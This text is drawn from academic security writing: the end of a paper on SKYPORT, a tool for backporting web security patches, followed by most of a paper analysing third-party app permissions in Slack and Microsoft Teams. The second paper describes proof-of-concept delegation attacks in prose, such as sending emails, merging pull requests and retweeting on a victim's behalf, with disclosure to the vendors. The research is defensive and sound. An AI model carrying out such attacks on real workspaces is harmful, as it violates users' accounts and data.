vulnerability is a new logic flaw discovered by Doupé et
al. [25] and Payet et al. [57] further performed a large-scale

measurement of EAR vulnerabilities in the real world.

Given so many researches on detecting web vulnerabilities,

it is quite important to mitigate and prevent web vulnerabili-

ties [14–16]. Diglossia [61] prevents code injection attacks

with precision and efficiency, and SQLBlock [32] mitigates

SQL injection on legacy web applications. To mitigate XSS

vulnerabilities, Content Security Policy (CSP) [13, 55, 64, 72]

is proposed. Debloating is also used to reduce the attack

surface of Node.js applications [38] and PHP applications [8,

11]. Although these techniques are effective in mitigating web

vulnerabilities, their scopes are limited.

Security Patches. Security patches are quite important in

fighting against vulnerabilities. However, patch development

is quite difficult and usually requires a lot of manual efforts.

Existing works propose several techniques to automatically

generating patches for vulnerabilities. First, security patches

are generated by learning from human-written patches [47,49].

However, such method fails to fix the vulnerability sometimes

because it can only approximate the properties that are

necessary to prevent the vulnerability. Second, pre-defined

safe properties and exploit inputs are used to generate security

patches by understanding the root cause of a vulnerability [31].

Besides, search-based patch generation could infer a correct

patch from many normal test cases [36, 48, 73]. Due to the

requirement on qualified inputs, the above method is hard to

apply to patch backporting. In addition to the difficulties in

developing patches, deploying patches is also quite difficult.

To reduce the testing efforts when deploying patches, Machiry

et al. [50] proposed a safe patch identification approach which

could ease the propagation of some patches. Besides, hot-

patches and hot-patching frameworks [18,56,76] are proposed

to directly fix the vulnerability without requiring users to

explicitly updating their software. However, these works

usually assume they have the correct corresponding patches

for the target software, which does not fit the assumption of

patch backporting.

10 Conclusion
Vulnerable web applications are often left unpatched because

the version targeted by the patch may be different from the

one running in real-world websites. The problem of applying

a security patch to an older version of web application

is called security patch backporting. The general problem

of backporting is hard because it is challenging to model

vulnerable and safe logic across various application versions.

In this paper, we focus on injection vulnerabilities with

explicit sinks and model vulnerable logic as a new concept

called sink capability. A sink capability contains all the

control-flow constraints (called reaching conditions) and

the symbolic expression of the critical parameter of the

sink function (called data-flow expressions) of all control-

flows leading to the sink. We implemented a prototype of

security patch backporting on injection vulnerabilities, called

SKYPORT, and evaluated it on a dataset of 155 security

patches and 1,526 target old versions. Our evaluation shows

that SKYPORT outperforms the state-of-the-art, i.e., direct

application of the security patch and web application upgrade

to the safe version.
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Abstract
Business Collaboration Platforms like Microsoft Teams

and Slack enable teamwork by supporting text chatting and
third-party resource integration. A user can access online file
storage, make video calls, and manage a code repository, all
from within the platform, thus making them a hub for sensi-
tive communication and resources. The key enabler for these
productivity features is a third-party application model. We
contribute an experimental security analysis of this model
and the third-party apps. Performing this analysis is chal-
lenging because commercial platforms and their apps are
closed-source systems. Our analysis methodology is to sys-
tematically investigate different types of interactions possible
between apps and users. We discover that the access control
model in these systems violates two fundamental security
principles: least privilege and complete mediation. These vio-
lations enable a malicious app to exploit the confidentiality
and integrity of user messages and third-party resources con-
nected to the platform. We construct proof-of-concept attacks
that can: (1) eavesdrop on user messages without having per-
mission to read those messages; (2) launch fake video calls;
(3) automatically merge code into repositories without user
approval or involvement. Finally, we provide an analysis of
countermeasures that systems like Slack and Microsoft Teams
can adopt today.

1 Introduction

Business Collaboration Platforms (BCPs) like Slack and Mi-
crosoft Teams are indispensable collaboration and productiv-
ity tools. Beyond multi-user chat features, BCPs enhance pro-
ductivity by allowing users to integrate third-party resources.
For example, users can make video calls with Zoom, store
files on DropBox, chat with customers, and manage code
repositories, all from within the BCP. A vibrant third-party
app ecosystem allows many such integrations. Thus, BCPs
not only host private communications between users but also

*Equal Contribution.

serve as a hub for all their sensitive resources from third-
party systems. As such, it is vital to understand the security
and privacy properties of this emerging class of distributed
multi-user collaboration platforms.

We contribute to understanding the security of BCPs by
performing an experimental analysis of the third-party app
model. We focus on the app model because it allows BCPs
to access sensitive data from third-party systems. Although
there is work on understanding the operational security issues
of BCPs (e.g., web security flaws [14, 15]), to our knowledge,
no work has examined the third-party app model. We focus
our work on Slack and Microsoft Teams — two of the most
widely-used BCPs with mature app ecosystems [10]. Further-
more, these two systems share design-level commonalities
and potentially with other BCPs. Thus, any security findings
are potentially broadly applicable to BCP design.

Performing the security analysis of Slack and Microsoft
Teams is challenging because these systems, including their
apps, are closed-source. Specifically, apps themselves are
remotely-hosted web services whose endpoints are only
known to the BCP. This precludes classical analysis tech-
niques such as source code and binary analysis or API end-
point testing. As an external party, we can only interact with
apps the way a human user would — through the BCP itself.
Therefore, we focus our analysis efforts on the interactions be-
tween apps and users, such as sending messages and reacting
to them. To conduct the analysis methodically, we first system-
atize an access control model that describes the approaches
taken by Slack and Teams using a uniform vocabulary. We
then explore how an attacker can violate the access control
model by experimentally studying each interaction method.

We find that the BCP app model uses a two-level access
control system consisting of the OAuth protocol and a run-
time policy enforcer. Abstractly, a BCP app requests OAuth
tokens to interact with categories of resources. For example,
an app might request an OAuth token to read chat messages.
However, this token does not entirely dictate what specific
messages the app can read. Thus, the user has to specify
the fine-grained access control policy at runtime. Once the
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user installs an app and permits it to read chat messages, the
user can additionally specify that the app may read messages
from specific channels (e.g., the “usenix-security-submission”
channel). Whenever an app issues an API request to the BCP
server to read a chat message from a specific channel, the
access control system first verifies the OAuth token and then
executes a runtime policy check to verify that the app is au-
thorized to read from that specific channel.

By examining each interaction method between BCP apps
and users, we establish that this two-level access control sys-
tem does not adequately confine third-party application be-
havior. Concretely, we have discovered that the BCP access
control system violates two standard security principles: (1)
least privilege and (2) complete mediation [41]. This allows
malicious apps to escalate their privilege and violate the con-
fidentiality and integrity of private chat messages and third-
party resources connected to BCPs. To demonstrate the con-
crete harms posed to end-users, we introduce three attack
classes for BCPs along with attack prototypes:
(1) App-to-App Delegation Attacks (Section 4): BCPs sup-
port apps that can interact with each other for productivity
reasons, independently of human involvement. To support
such meaningful interactions, the BCP access control model
allows apps to act on behalf of a user. We show how malicious
apps can exploit this to violate the confidentiality and integrity
of resources that victim apps manage. Our proof-of-concept
attacks include sending arbitrary emails on a victim’s behalf,
merging code pull requests, and retweeting any links using
the victim’s account.
(2) User-to-App Interaction Hijacking (Section 5): BCP
apps can customize how users interact with them and with
workspace features. For example, an app can introduce new
‘slash commands’ into a workspace or manipulate how URLs
get unfurled. For example, one can start a Zoom video call by
entering /zoom on the Slack UI. We show how a second mali-
cious app can interfere when a user attempts to interact with a
benign app, a problem similar to DNS domain squatting and
voice assistant skill squatting [36, 54].
(3) App-to-User Confidentiality Violations (Section 6): BCP
apps interact with users by participating in any approved chan-
nels or conversations, where a human user explicitly ‘adds’
the app as a member. BCPs implement runtime policy checks
to enforce security policies in these situations. We show how
a malicious app can exploit gaps between OAuth and these
runtime mechanisms to leak private messages it does not have
permission to view.
Contributions.
• We contribute an experimental security analysis of the app

model in two widely-used BCPs — Microsoft Teams and
Slack. To guide the analysis, we derive a common access
control model for these two BCPs and then experimentally
examine each interaction method between apps and users.
We find that the access control model violates the principle
of least privilege and complete mediation.

• We introduce three new attack classes that leverage this
fundamental shortcoming of the access control model: app-
to-app delegation attacks, user-to-app interaction hijacking,
and app-to-user confidentiality violations. We constructed
proof-of-concept attacks for these classes to achieve ef-
fects such as sending arbitrary emails on behalf of victims,
merging code requests, launching fake video calls with
loose security settings, and stealing private messages with-
out having the appropriate permission. In certain cases,
we also demonstrate how an attacker can maintain their
presence even after app uninstallation.

• We build tools to scrape app manifest data to estimate
the potential for such attacks to occur. Of the 2,460 Slack
apps we analyze, we find that 1,493 (61%) are potentially
vulnerable to delegation attacks, and 563 (23%) request
the necessary permissions to carry out these attacks. Of the
1,304 Microsoft Teams apps we analyze, we find that 427
(33%) are vulnerable to delegation attacks. We also find
that 1,266 (51%) Slack apps use slash commands; these
apps are potentially vulnerable to both the user-to-app
attacks and capable of performing user-to-app attacks.
Finally, we propose a set of countermeasures that BCPs

like Microsoft Teams and Slack can adopt today as a tempo-
rary solution to mitigate the attacks (Section 7). For example,
enforcing user confirmation before every app-to-app interac-
tion and command name collision can fix most issues, but this
is undoubtedly a user-hostile solution. As a result, solutions
with acceptable security and usability trade-offs necessitate
rethinking the app and access control model in multi-user
communication platforms.

Ethics and Disclosure. We conducted all experiments inside
private workspaces with the authors as the only members. We
did not exercise cross-workspace features; thus, our investiga-
tions did not influence other workspaces. We did not distribute
or submit our test malicious apps to any BCP app directory,
so our attack did not affect BCP users other than the authors’
testing accounts. We ethically disclosed all attacks we found
to Slack and Microsoft, both of which have confirmed their
existence. Due to their view of the workspace as a trusted
environment, the assumptions that social engineering is a pre-
requisite for the attacks, and that the workspace administrator
will correctly manage app installations, these attacks do not
meet their definitions of a security vulnerability.

2 Business Collaboration Platforms

BCPs provide chatrooms that facilitate online collaboration
among a group of people, who usually belong to the same
workspace, such as a project team or a research group. In
BCPs, one can create a virtual workspace to host all conversa-
tions for a group. It supports discussions among the users who
joined the workspace through various conversation channels.
Users can open a new channel which can be public — any
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send message
Welcome!

BCP User BCP Clients BCP Server Cloud Backends of BCP Apps

Interact API Calls

Responses BCP API Call
method : chat.postMessage
text   : Hello, world!
channel: CHANNEL_ID
token  : xxxx-xxxxxxx-xxxx

Event Notification
type   : message
text   : Welcome!
channel: CHANNEL_ID
user   : USER_ID
ts     : TIMESTAMP

Figure 1: Overview of BCP’s ecosystem: A BCP user interacts with their BCP clients to communicate with the BCP server. BCP
apps, which are maintained as separate web services by different third-party developers, communicate with BCP server via API
calls and event notifications. A user has to install and authorize an app before accessing its functionalities.

user can join — or private — only those who are invited can
join. Users can also send direct messages to any other user or
group of users in the workspace. To use a BCP, a human user
interacts with their BCP client on their computer or mobile
device, which then communicates with the backend servers
of the BCP through various APIs. The backend server then re-
sponds to the client, updating what the user sees. We illustrate
this communications framework in Figure 1.

In this paper, we focus on Microsoft Teams and Slack,
due to their popularity and mature third-party app ecosystem.
A recent survey of 900 businesses [10] has shown that they
are the two most popular BCPs1and are the only ones that
provide a list of officially supported third-party apps.

2.1 BCP App
Beyond basic chatting features, modern BCPs usually of-
fer many third-party integrations, commonly known as apps,
which are cloud services providing additional productivity-
enhancing functionalities in the workspace, often connecting
user’s data from other services (such as email or online stor-
age) to the workspace. These BCP apps exist on cloud servers
not maintained by the BCP. These app backends communi-
cate with the BCP servers by subscribing to event notification
APIs and reacting when information about a new event is
received, as depicted in Figure 1. Generally, a BCP app can
simultaneously act in three roles: workspace feature provider,
interactive bot, and user delegate.

Workspace feature provider. The app may enhance a
workspace’s existing features. For example, an app made
by Twitter can customize the default link unfurling feature
to preview tweets linked in messages automatically. The app
may also provide user-invokable actions through slash com-
mands. As another example, Google’s Slack app [5] shows a
user’s recent schedule when the user types /gcal.

Interactive bot. The app can present itself in the workplace
as a bot user and interact with other users the same way as
a typical human user. The user can, for example, chat with

1The original survey listed Skype for Business as the top spot, but it has
since been discontinued and replaced by Microsoft Teams.

the app’s bot user directly, invite it to a channel, or share files
with it. Due to these convenient features, this role has become
the app’s primary communication interface with its users.

User delegate. If permitted, the app may also perform ac-
tions on behalf of users. This role is particularly beneficial
for enhancing productivity. For example, when users visit
Dropbox’s web page and wish to share files with others in
their Slack workspace, they must divert their attention back
and forth between Dropbox and Slack. In contrast, with the
delegation ability, Dropbox enables the user to click a button
without leaving the webpage and let Dropbox’s Slack app [4]
share files on their behalf. As a result, the shared files appear
to have been sent directly from the user.

2.2 Life Cycle of BCP Apps

Microsoft Teams and Slack allow any BCP user to create and
distribute BCP apps without requirements, such as applying
for a developer account. BCP apps generally go through the
following stages in their life cycle: registration, publication,
installation, per-user authorization, in-use, and removal.

Registration. To enable the various functionalities in Sec-
tion 2.1, an app needs to query different web APIs or subscribe
to different event notification APIs on the BCP’s backend
server, which in turn usually require different permissions.
The app developer must register the app in the correspond-
ing BCP’s developer portal by submitting a manifest, which
specifies the app’s backend URL, required permissions, and
subscribed events. We note that, in both Microsoft Teams and
Slack, the developer does not need to submit any of the app’s
codebase, as all their apps are hosted purely inside the de-
veloper’s server. No client-side code is accessible by Slack,
Microsoft, or the end-users.

Publication. After the app has been successfully registered,
the developer can choose to either distribute the app’s public
installation URL through its own advertising channels or
submit the app to the official app directory [11, 13]. For the
second option, the app must follow submission guidelines and
go through the platform’s vetting procedure, which primarily
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involves checking if the app’s requested permissions match its
claimed functionality (e.g., through a provided test account).
However, as BCP apps are closed-source and their codes are
not submitted for examination, it is difficult to enforce these
guidelines strictly.

Installation. In Microsoft Teams and Slack, any user2 can
install an app to the workspace. During installation, a permis-
sion request page will be presented to the user, detailing what
the app can do, as illustrated in Appendix C. The user then
either accepts all permissions or rejects all permissions. This
installation is relatively invisible to other users; they are not
notified when a new app is installed, and the list of installed
apps is often hidden in secondary menus in the UI.

Per-User Authorization. If an app wants to act as the dele-
gate of some users in the workspace, it may initiate a separate
permission request to each user, usually by sending the re-
quest link via the app’s bot user. Once the user authorizes it,
the app gains permission to act on behalf of that user.

In-use and Removal. After the app is installed and autho-
rized, it may additionally ask for integration with the user’s
account on third-party services. For example, Google’s Slack
app requests the user to authorize access to their Google ac-
count. BCPs do not manage the communications between
BCP apps and third-party services. If the app developer up-
dates an app to request a different set of permissions, the user
has to reinstall the app and go through the permission prompts
as before. Finally, when a user uninstalls an app, it is deau-
thorized by the BCP. However, there is no guarantee that the
app properly disconnects itself from third-party services.

2.3 Security and Privacy Concerns

The widespread usage of BCPs in remote work environments
implies that a lot of sensitive information passes through it.
With the potential ability to access such information, BCP
apps lead to security and privacy concerns. Moreover, some
of the design choices that we described earlier exacerbate
such concerns: (1) all-or-nothing permissions that disallow
selective toggling of permissions; (2) imperceptible installa-
tion that reduces the chances for users to notice what kinds of
apps are installed and also prevents any workspace-wide con-
sent mechanisms; (3) pure server-side implementation that
prevents BCPs or other entities from inspecting the app’s be-
havior through traditional tools like static or dynamic analysis.
This also allows the app to change its behavior at will.

2Although Microsoft Teams and Slack provide a setting for the adminis-
trators of a workspace to limit which users are allowed to install apps and
which apps can be installed, the default for both BCPs is that any user can
install any apps from any source.
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Figure 2: An example of Slack permission system. We show
three example scopes that App 1 may acquire. The arrow
lines indicate that a token can be used to query all resource
instances of the types allowed by the token’s scope. However,
Slack performs additional runtime policy checks (indicated
by the red crosses) to determine which of these instances can
actually be accessed.

3 Analysis of App Permission Model in BCP

We study the permission systems in Microsoft Teams and
Slack to identify their similarities and differences to under-
stand the potential security design issues and systematically
perform experimental security analysis. We focus on these
two BCPs since they are the top two most popular ones [10]
and have mature app ecosystems. We also introduce a practi-
cal threat model and the methodology we will use to analyze
the third-party apps in these two BCPs.

3.1 App Permission System
At a high level, Microsoft Teams and Slack have designed
their access control model based on a similar permission-
based system. This permission system controls whether or
not an app has access to various resources in a workspace. An
app must first declare a set of permission scopes it requires,
with each scope representing the permission to read or write
a type of resource. However, such scopes are statically de-
fined by the BCPs and thus do not allow more dynamic and
fine-grained access control over the specific instances under a
single type of resource. To solve this problem, the BCP per-
mission system includes runtime policies that are usually
user-configurable. For example, to read a message in a private
channel, a Slack app not only needs the groups:history
scope but also has to be added to the channel’s member list
by some user, as shown in Fig. 2. We now examine this two-
level permission system in detail and show that it has security
design issues that can violate the least privilege principle and
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cause privilege escalation.

Level 1: static permission scopes. An app needs to acquire
several different permission scopes to perform all of its func-
tionality. Each scope represents the permission to read or write
a type of resource in a workspace, such as channel messages
or shared files.

To install the app, the user must accept all of its requested
permissions; neither BCPs provide options to selectively tog-
gle them. Slack’s permission scopes are implemented as stan-
dard OAuth permission scopes. Slack provides two types of
scopes for its apps: bot token scope, which allows an app to
provide workspace features or act as a bot user, and user token
scope, which allows an app to perform actions on behalf of
an authorized user. For example, the chat:write bot token
scope permits the app to send messages with its bot user as the
author, while the chat:write user token scope allows send-
ing messages as the user. Microsoft Teams follows a similar
design: a set of core app capabilities that must be declared in
an app’s manifest is the equivalent of Slack’s bot token scope,
while Microsoft Graph API’s OAuth permission scopes are
equivalent to Slack’s user token scope. The difference is that
only the first type of scope is shown during the app instal-
lation; the second type can only be acquired by initiating a
separate permission request to the user after installation.

These scopes are static, in the sense that they are prede-
fined based on how BCPs categorize the workspace resources,
and therefore might not align with the user’s desired security
policies, which can vary by workspaces and evolve. To com-
pensate for the static nature of scopes, both BCPs impose a
second level of permission checking.

Level 2: runtime policy checks. Microsoft Teams and Slack
implement runtime policies to determine which instances in a
resource type an app can access based on various conditions.
Users can usually control these conditions to express their
desired security policies. For example, users can have more
fine-grained control of which messages in private channels an
app (that has the prerequisite permission scope) can view: in
Slack, they can invite the app to a specific channel, indicating
that the app can view all messages inside this channel; in
Microsoft Teams, they can @-mention the app in the messages
that they wish the app to read. In this way, runtime monitors
grant users some flexibility to dynamically adjust the set of
resources of an app can access.

Security design issues. Despite the two-level checking, we
uncover two design issues in the BCP permission system that
violate basic security principles.

1. The runtime policies are ad-hoc and incomplete. As a
result, not all user security policies can be correctly ex-
pressed. We find that not only do they differ in each
BCP, but even in the same BCP there are often incon-
sistencies between the runtime policies of similar types
of resources. For example, Slack treats public channel

messages and direct messages as two separate types of re-
sources; however, it only imposes a policy on the former
by checking whether the app is invited to the channel, but
provides no mechanism to limit which user the app can
send direct messages to. The incompleteness of runtime
policies leads to coarse-grained access control, violating
the principle of least privilege.

2. The ownership or provenance of some resources is not
properly tracked or enforced. This frequently happens
when a user delegates an app to create resources. For
example, Microsoft Teams does not differentiate be-
tween messages sent by a real user and a delegated app.
In addition, due to the multi-user multi-app nature of
BCP workspace, the ownership of a resource can some-
times be hard to define correctly. When the ownership or
provenance is absent, or the system assumes the wrong
one, the principle of complete mediation can be violated
and potentially lead to privilege escalation.

Although it is possible to build a BCP permission system to
fix the above problems by allowing the user to specify the
security policy for every instance of resources and tracking
every resource’s provenance, we will see in Sections 4 to 5
that such an ideal system is hard to design and often requires
sacrificing usability.

3.2 Threat Model
Based on our analysis of the permission model above, we
derive a threat model for BCP apps. We assume that the at-
tacker has targeted a BCP workspace containing a number of
users and already-installed apps. The attacker has also tricked
one of the users (referred to as the victim) into installing the
attacker-controlled malicious app, i.e., the victim has granted
all the permission scopes requested by the malicious app. We
believe this is a reasonable assumption, because (1) the ma-
licious app can easily mimic a legitimate app by copying its
publicly available manifest, making the two indistinguishable
for the victim during installation, and (2) by default, any user
in the workspace is allowed to install any app from any source.
In our threat model, the attacker can be either an outsider or
a curious user inside the workspace who wants to gain the
information they cannot access. For example, an admin can
recommend everyone in the organization to install a malicious
app (disguised as an innocent management app), hoping to
steal chat logs from private channels they are not invited.

In addition, we assume that the BCP’s clients and its back-
end server are secure and do not collude with the attacker —
attacking such infrastructure is an orthogonal research direc-
tion. Therefore, the capacity of the malicious app is limited
to the functionality defined by the BCP’s API. We also as-
sume that the other apps installed in the workspace are be-
nign and secure, which means they follow the security guide-
lines [12, 16] and do not contain any implementation-level
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Attack Slack Teams Prerequisites Attack Effect Surface

Delegation X X
Permission to perform actions (primarily read &
write direct messages) on victim’s behalf.

Invoke actions in victim’s other apps to manipulate data
in victim’s connected third-party accounts.

– post app removal * X
App has acquired the above permission before
removal.

Incur delegation attack after the app is removed.
*In Slack, this can only be achieved via pre-scheduled
messages.

Interaction hijacking

– slash command X Permission to add slash commands.
Hijack any slash command in the workspace stealthily,
affecting everyone using the command.

– link unfurl X Permission to provide customized unfurling.
Replace any other app’s unfurled content stealthily, af-
fecting the links sent by victim.

Message extraction

– via link unfurl X
Permission to read & write direct messages on
victim’s behalf.

Read messages in any private channel where victim is a
member of.

– via pin/star/reaction X
Permission to pin, star, or react to messages on
victim’s behalf.

Read victim’s direct messages and messages in any pri-
vate channel where victim is a member of.

Figure 3: Summary of proof-of-concept attacks and their requirements and threats. Per our threat model, the victim is a user who
has authorized all the app’s requested permissions.

flaws such as exposing their tokens directly.

3.3 Security Analysis Methodology
We perform experimental security analysis on Microsoft
Teams and Slack to study how a malicious app (defined by
our threat model) can exploit the two security design issues
in these two BCPs’ permission systems. Specifically, for each
potential exploit, we evaluate its practicality and prevalence.

To explore potential exploits, we examine every type of
interaction the malicious app can have with other entities in
the workspace and check whether such interaction involves
resources that have incomplete runtime policy or suffer from
improper ownership tracking. If so, we explore attacks caus-
ing security-critical consequences. For each attack, we an-
alyze how it stems from the security design issues in the
permission system, how it violates the security principles, and
how it jeopardizes the workspace’s integrity or confidentiality
guarantees expected by the user. We detail our findings in
Sections 4 to 6, and summarize the prerequisites and effect
surface for each attack in Fig. 3.

For practicality, we build proof-of-concept malicious apps
and, if applicable, target the attack on selected apps. Since
most apps require a valid third-party account to function prop-
erly, running large-scale analysis is infeasible. Thus, we only
select a few targeted apps that connect to sensitive resources
and test them manually. We only install one targeted app at a
time in our test workspace to avoid undesired interference.

For prevalence, we analyze the app’s potential ability to
launch attacks. We collect the requested permissions of all
published apps from the two BCPs’ official app category3, and
count how many apps have sufficient permissions or resources
to launch each attack. It is important to note that our goal is

not to prove that some specific apps are malicious; we only
examine the capabilities granted by various permission scopes
and how they can be abused to perform malicious actions.
This strategy allows for a sound analysis despite apps being
closed-source, as the apps we find indeed have prerequisite
permissions to potentially launch attacks.

4 App-to-App Delegation Attacks

One of the core functionalities provided by BCP apps is to
chat with users through their bot users interactively. However,
a BCP app can also send and receive messages on the user’s
behalf and, therefore, chat with other app bot users. In this
section, we present the delegation attack, where one malicious
app abuses such app-app interactions and causes security-
critical consequences (Sections 4.1 to 4.2). We then show
that the source of this vulnerability roots in the fundamental
design issues of current BCP permission systems (Section 4.3)
— a violation of least privilege.

4.1 App-to-App Interactions
Both Microsoft Teams and Slack allow their apps to present
themselves in a workspace as bot users so that human users
can send direct messages to these bot users to instruct them
to perform certain tasks. This functionality is commonly used
to let users manage their data in other online services, such as
emails and file storage, without leaving the BCP.

At the same time, these two BCPs also allow apps to per-
form certain actions in the workspace on behalf of the user.

3We collected 2,460 apps from the Slack [11] on April 7, 2021 and 1,304
apps from Microsoft Teams [13] on November 17, 2021.
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If an app sends a message in this way, this message will ap-
pear as if the user sent it. Such delegation can be useful to
enhance productivity. For example, Dropbox’s BCP app [4]
utilizes it to share files in channels on behalf of the user.
In Slack, this can be achieved if the app has acquired the
chat:write user token scope in its OAuth permission re-
quest with the user; in Microsoft Teams, although none of its
standard app capabilities grants permissions to delegate, one
can still employ the advanced Microsoft Graph API and ask
for the Chat.ReadWrite scope.

By combining the above two functionalities, we can enable
app-to-app interactions in BCPs: one app that has the dele-
gated permission to send user’s messages can interact with
another app’s bot user. Such interaction can be beneficial; for
example, Dokkio’s Slack app [3] can organize files sent by
Dropbox’s app into a coherent page for the workspace and
tag them as shared by different users. Slack regards app-app
interaction as an important feature with growing demand [30].
However, allowing one app to communicate with other app’s
bot users has severe security implications. When the former
app turns malicious, it can potentially invoke actions from
the latter app, and such actions might affect data in the user’s
connected third-party account. We refer to attacks exploiting
this vulnerability as delegation attacks.

We note app-app interactions can happen in other ways.
Although receiving a message from the user is the most intu-
itive trigger event to indicate when the app should perform its
actions, an app may subscribe to other triggers as well, like
when a file is shared (see Appendix A) or an emoji reaction is
added. As such, apps with delegated permissions to produce
these triggers can also launch potential delegation attacks.

Post-removal interactions. Even after an app’s removal
from the workspace, it can have residual effects that cause
delegation attacks. Slack provides its apps the ability to sched-
ule a message to be sent at a future time (using the same
chat:write user token scope). We find that if the app is
removed before the message’s scheduled time, its message
will still be sent, potentially invoking actions from other apps.
In Microsoft Teams, although there is no scheduling feature,
this issue is more severe due to its two separate permission
schemes. Upon uninstallation, only the app’s standard ca-
pabilities declared in the manifest will be removed, while
its delegation permissions acquired through the Graph API
remain entirely intact. Therefore, a user cannot, by simply
removing a Teams app from the workspace, prevent the app
from continuing to send messages on the user’s behalf and
interact with other apps, allowing the channel for delegation
attacks to remain open.

Current defenses. We note that Microsoft Teams and Slack
do have workarounds that can prevent app-to-app interactions.
They allow apps to interact with users through alternative
ways, such as slash commands and interactive UI windows.
This prevents other apps from interfering since neither BCPs

allow an app to send slash commands or click buttons in a
UI. Slack in particular also tracks which messages are sent
by a real user through the Slack client and which are sent by
a delegated app, so that the app receiving the messages can
choose whether to respond or not. However, both of these
mechanisms require the receiving app’s developer to decide
which actions can be triggered by other apps, but the current
design of BCP permission system does not provide any ways
for it to learn whether the delegated messages align with
the user’s actual intent, making it impossible to arrive at the
correct decision. As we will discuss in Section 7, a principled
fix would trade-off functionality or usability.

4.2 Delegation Attack

We now focus on the delegation attack targeting both Mi-
crosoft Teams apps and Slack apps. We have built a tool that
crawls the information of a targeted app from the two BCPs’
official app directories and analyzes which trigger events the
app is subscribing to. In the case of Microsoft Teams, we
can also extract all message keywords that trigger the tar-
geted app’s actions. We set up a workspace as defined per
our threat model. The attacker app has acquired the appro-
priate delegated permission from a victim user who has also
installed the targeted apps with connection to third-party ser-
vices. The attacker app produces the trigger events, and we
observe whether the targeted app will be tricked into perform-
ing the actions (see Appendix D.1 for more implementation
details). Since most apps require a valid third-party account
to function properly, performing large-scale automated anal-
ysis is infeasible. Thus, in this section, we select a few apps
connecting to sensitive third-party resources and manually
target them, demonstrating that delegation attacks can indeed
trigger security-critical or privacy-violating actions.

1 Send emails on victim’s behalf. MailClark’s Slack app
[7] allows sending emails directly from Slack to include non-
Slack users in a Slack conversation. MailClark provides a
unique email address for a list of non-Slack guests in a channel
configured by the user. The email account and the recipients
are only accessible to MailClark and the user. The attacker
app induces MailClark to send any emails of the attacker’s
choice to recipients configured by the user. Specifically, the
malicious app launches this attack by sending messages to
the channel as the user. During this procedure, MailClark will
automatically send the attacker’s message as an email to all
recipients and indicate the author as the user.

2 Chat with victim’s website visitors. Chatlio [2] is a ser-
vice that lets developers add live chat functionality to their
websites. It also provides an accompanying Slack app that
automatically forwards any messages of the website visitors
to a Slack channel and vice versa. Therefore, website owners
can chat with any visitors in real-time through Slack. Unfor-
tunately, this convenient feature makes Chatlio’s app a victim
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of delegation attacks. Our attacker app can post messages di-
rectly into the channels used by Chatlio to chat with website
visitors and thus launch further phishing attacks or harvest
sensitive user info, as it now appears like a trustworthy entity
to the visitors.

3 Merge pull requests in victim’s code repository. Bit-
Bucket’s Microsoft Teams app [1] will merge a given pull
request if it receives a message starting with the keyword
merge. It will then ask for confirmation, at which point the
attacker app can reply with the text yes to approve the merge.
The attacker app may additionally use the list keyword to
ask BitBucket’s app to display all pull requests in the vic-
tim user’s connected repos or the find keyword to locate a
specific pull request. If the repo is public, the attacker can
even submit and merge its own pull request, leading to code
poisoning or backdoor injection.

4 Execute victim’s automation flows. Microsoft Power
Automate has a Teams app [17] that, upon receiving the mes-
sage Run flow [id], will execute the specified automation
flow in the user’s account. These flows can perform various
actions in a wide range of services connected to Power Au-
tomate. The app also accepts messages like List flows and
Describe flow [id] that can be utilized by the attacker to
learn more about the user’s flows and conduct more targeted
attacks.

5 Retweet on victim’s behalf. Ziri [8] is a Slack app that
helps users interact with tweets in a non-disruptive way. It con-
nects to the user’s Twitter account and requests permission to
retweet. After that, whenever a Twitter link is shared in Slack,
and the user adds a Twitter emoji reaction to that message,
Ziri will automatically retweet the shared Twitter on the user’s
behalf. The attacker app can thus send a message containing a
link to a chosen tweet (that includes harmful information) and
add an emoji to the message on behalf of the user. After that,
Ziri will successfully detect the tweet link and retweet it using
the victim user’s account. Such uncontrolled tweets can have
detrimental effects, especially when the connected account is
high profile, such as the organization’s official twitter.

Summary. The first four attacks rely on message events
to trigger the actions in the targeted app, while the last one
relies on a reaction event. We note that once the attacker
and targeted apps are installed and properly authorized, the
attacks do not require additional user inputs and can happen
anytime, even when the user is not logged into its BCP client.
In addition, the attacker app can delete the traces of trigger
events once the attack is finished, making it even sneakier
(since in both BCPs, the permission to send messages or add
emoji reactions also grants for free the permission to delete
them).

4.3 Analysis of Root Cause and
Potentially Prevalence

The delegation attack is possible because both BCPs’ permis-
sion systems violate the principle of least privilege. Currently,
the permission to send delegated messages is governed by
Slack’s chat:write or Microsoft Teams’s Chat:ReadWrite
scope; however, these two scopes allow the app to send mes-
sages to any place that the user has access to, be it a public
channel, direct message with other users, or direct message
with other app’s bot user. In addition, neither BCPs provide
additional runtime policies that allows the user to limit the
destinations. Therefore, even if the user wants to install a
simple app that only sends delegated messages to a small
subset of other users for sharing or notification purposes, it
must grant this app such overprivileged scopes that inevitable
comes with the ability to launch delegation attacks.

App’s residual permissions after removal. The reason why
a removed app can still keep some residual permission differs
in two BCPs. Slack’s permission system violates the princi-
ple of complete mediation by failing to check that the proper
provenance of the scheduled message, which is the removed
app, should have no permissions at the time when the message
is sent. Whereas in Microsoft Teams, it is the result of two
separate permission systems: only the app’s core capabilities
are associated with Teams, while the Graph API’s permissions
are tied to the user’s Microsoft Account (outside the permis-
sion system of Teams). Therefore, when the app is uninstalled
in Teams, only the former is revoked while the latter is not
affected. We note this issue is not Teams-specific, but also
exists in other systems when permissions are managed by
different trust domains [53].

Potential Prevalence. We report the number of apps capa-
ble of executing the delegation attack and that are vulnerable
to the attack. For Microsoft Teams, we find vulnerable apps
by counting apps that use bot commands capability, as these
apps will accept text input from the user (or a delegated app)
to perform various actions. We observe that 427 (33%) of
Teams apps use bot commands, implying that they are vul-
nerable to a delegation attack. However, Teams apps do not
list whether they will request any delegated permission since
it is acquired through a separate system. For Slack, we find
563 Slack apps (23%) request at least one ‘write’ user scope,
allowing them to interact with other apps adversarially, while
1,493 Slack apps (61%) request at least one ‘read’ scope, im-
plying that they are subscribing to events in the workspace
and thus can be potentially affected by the attack. We note
that the measurements for Slack’s vulnerable apps are the
worst-case estimation. Since these apps are third-party web
services with hidden endpoints, it is impossible to learn the
app’s behavior directly. Furthermore, most apps only perform
actions after a third-party account is connected, preventing us
from fully automating the evaluation of apps on a large scale.
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Thus we may miscount apps that (1) have already employed a
countermeasure by blindly rejecting delegated messages, (2)
subscribe the certain events but never trigger their security-
critical actions based on these events.

5 User-to-App Interaction Hijacking

BCPs provide various features that serve as entry points for
users to interact with apps. Examples of these features in-
cludes ‘@’-mention, slash command, and link unfurling (see
Section 2.1). In this section, we discuss how a malicious
app exploits such interactions between the user and other
